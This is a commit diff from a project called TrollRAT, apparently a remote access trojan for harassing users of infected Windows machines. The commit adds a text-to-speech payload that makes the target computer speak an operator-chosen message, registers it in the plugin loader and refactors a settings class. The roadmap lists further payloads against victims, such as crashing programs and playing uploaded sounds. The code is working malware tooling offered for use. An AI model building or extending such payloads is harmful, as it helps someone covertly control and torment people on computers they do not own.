Add Text to Speech payload
This commit is contained in:
parent
884d700812
commit
c49a5d9768
6 changed files with 80 additions and 13 deletions
|
@ -13,7 +13,6 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
|
|||
- [x] Basic API for Payloads, Actions and Settings
|
||||
- [ ] Support for random Payload Delays
|
||||
- [x] Plugin support
|
||||
- [ ] More pre-defined settings classes
|
||||
- Coding
|
||||
- [x] Split server commands into multiple classes
|
||||
- [x] Firewall support
|
||||
|
@ -36,5 +35,5 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
|
|||
- [ ] Crash single Program
|
||||
- [ ] Draw uploaded Images
|
||||
- [ ] Play uploaded Sounds
|
||||
- [ ] Text to Speech Output
|
||||
- [x] Text to Speech Output
|
||||
- [ ] Multi-Monitor support for payloads
|
||||
|
|
|
@ -102,17 +102,12 @@ namespace TrollRAT.Payloads
|
|||
}
|
||||
}
|
||||
|
||||
public class PayloadSettingSelect : TitledPayloadSetting<int>
|
||||
public abstract class PayloadSettingSelectBase : TitledPayloadSetting<int>
|
||||
{
|
||||
protected string[] options;
|
||||
public string[] Options => options;
|
||||
public abstract string[] Options { get; set; }
|
||||
public string ValueText => Options[value];
|
||||
|
||||
public string ValueText => options[value];
|
||||
|
||||
public PayloadSettingSelect(int defaultValue, string title, string[] options) : base(defaultValue, title)
|
||||
{
|
||||
this.options = options;
|
||||
}
|
||||
public PayloadSettingSelectBase(int defaultValue, string title) : base(defaultValue, title) { }
|
||||
|
||||
public override void writeHTML(StringBuilder builder)
|
||||
{
|
||||
|
@ -120,9 +115,10 @@ namespace TrollRAT.Payloads
|
|||
"class=\"form-control\" onchange=\"setSetting({1}, this.selectedIndex);\">",
|
||||
title, id, value));
|
||||
|
||||
string[] options = Options;
|
||||
for (int i = 0; i < options.Length; i++)
|
||||
{
|
||||
builder.Append((i==value ? "<option selected=\"selected\">" : "<option>") + options[i] + "</option>");
|
||||
builder.Append((i == value ? "<option selected=\"selected\">" : "<option>") + options[i] + "</option>");
|
||||
}
|
||||
|
||||
builder.Append("</select></div>");
|
||||
|
@ -140,7 +136,23 @@ namespace TrollRAT.Payloads
|
|||
|
||||
public override bool isValid(int v)
|
||||
{
|
||||
return (v >= 0 && v < options.Length);
|
||||
return (v >= 0 && v < Options.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public class PayloadSettingSelect : PayloadSettingSelectBase
|
||||
{
|
||||
protected string[] options;
|
||||
|
||||
public override string[] Options
|
||||
{
|
||||
get { return options; }
|
||||
set { options = value; }
|
||||
}
|
||||
|
||||
public PayloadSettingSelect(int defaultValue, string title, string[] options) : base(defaultValue, title)
|
||||
{
|
||||
this.options = options;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -94,6 +94,7 @@
|
|||
<SubSystem>Windows</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<OutputFile>$(OutDir)\Plugins\$(TargetName)$(TargetExt)</OutputFile>
|
||||
<AssemblyDebug>true</AssemblyDebug>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
using System;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Speech.Synthesis;
|
||||
|
||||
using TrollRAT.Payloads;
|
||||
using TrollRATActions;
|
||||
|
@ -110,4 +112,55 @@ namespace TrollRATPayloads.Payloads
|
|||
payloadDrawPixels(c, (int)power.Value);
|
||||
}
|
||||
}
|
||||
|
||||
public class PayloadTTS : Payload
|
||||
{
|
||||
protected class PayloadSettingVoice : PayloadSettingSelectBase
|
||||
{
|
||||
public InstalledVoice SelectedVoice => synth.GetInstalledVoices()[value];
|
||||
|
||||
public PayloadSettingVoice(string title) : base(0, title) { }
|
||||
|
||||
public override string[] Options
|
||||
{
|
||||
get
|
||||
{
|
||||
return (from voice in synth.GetInstalledVoices()
|
||||
select voice.VoiceInfo.Name).ToArray();
|
||||
}
|
||||
set { throw new NotImplementedException(); }
|
||||
}
|
||||
}
|
||||
|
||||
private PayloadSettingString message = new PayloadSettingString(
|
||||
"soi soi soi soi soi soi soi soi soi soi soi", "Message to speak");
|
||||
|
||||
private PayloadSettingNumber rate = new PayloadSettingNumber(1, "Speed Rate", -10, 10, 1);
|
||||
private PayloadSettingNumber volume = new PayloadSettingNumber(100, "Volume", 0, 100, 1);
|
||||
|
||||
private PayloadSettingVoice voice = new PayloadSettingVoice("TTS Voice");
|
||||
|
||||
protected static SpeechSynthesizer synth = new SpeechSynthesizer();
|
||||
|
||||
public PayloadTTS()
|
||||
{
|
||||
settings.Add(message);
|
||||
settings.Add(voice);
|
||||
settings.Add(volume);
|
||||
settings.Add(rate);
|
||||
|
||||
synth.SetOutputToDefaultAudioDevice();
|
||||
|
||||
name = "Play TTS Voice";
|
||||
}
|
||||
|
||||
protected override void execute()
|
||||
{
|
||||
synth.Rate = (int)rate.Value;
|
||||
synth.Volume = (int)volume.Value;
|
||||
|
||||
synth.SelectVoice(voice.SelectedVoice.VoiceInfo.Name);
|
||||
synth.Speak(message.Value);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -36,6 +36,7 @@
|
|||
<Reference Include="System" />
|
||||
<Reference Include="System.ComponentModel.Composition" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Speech" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
|
|
|
@ -15,6 +15,7 @@ namespace TrollRATPayloads
|
|||
public void onLoad()
|
||||
{
|
||||
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadOpen());
|
||||
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadTTS());
|
||||
|
||||
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadMessageBox());
|
||||
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadKeyboard());
|
||||
|
|
Reference in a new issue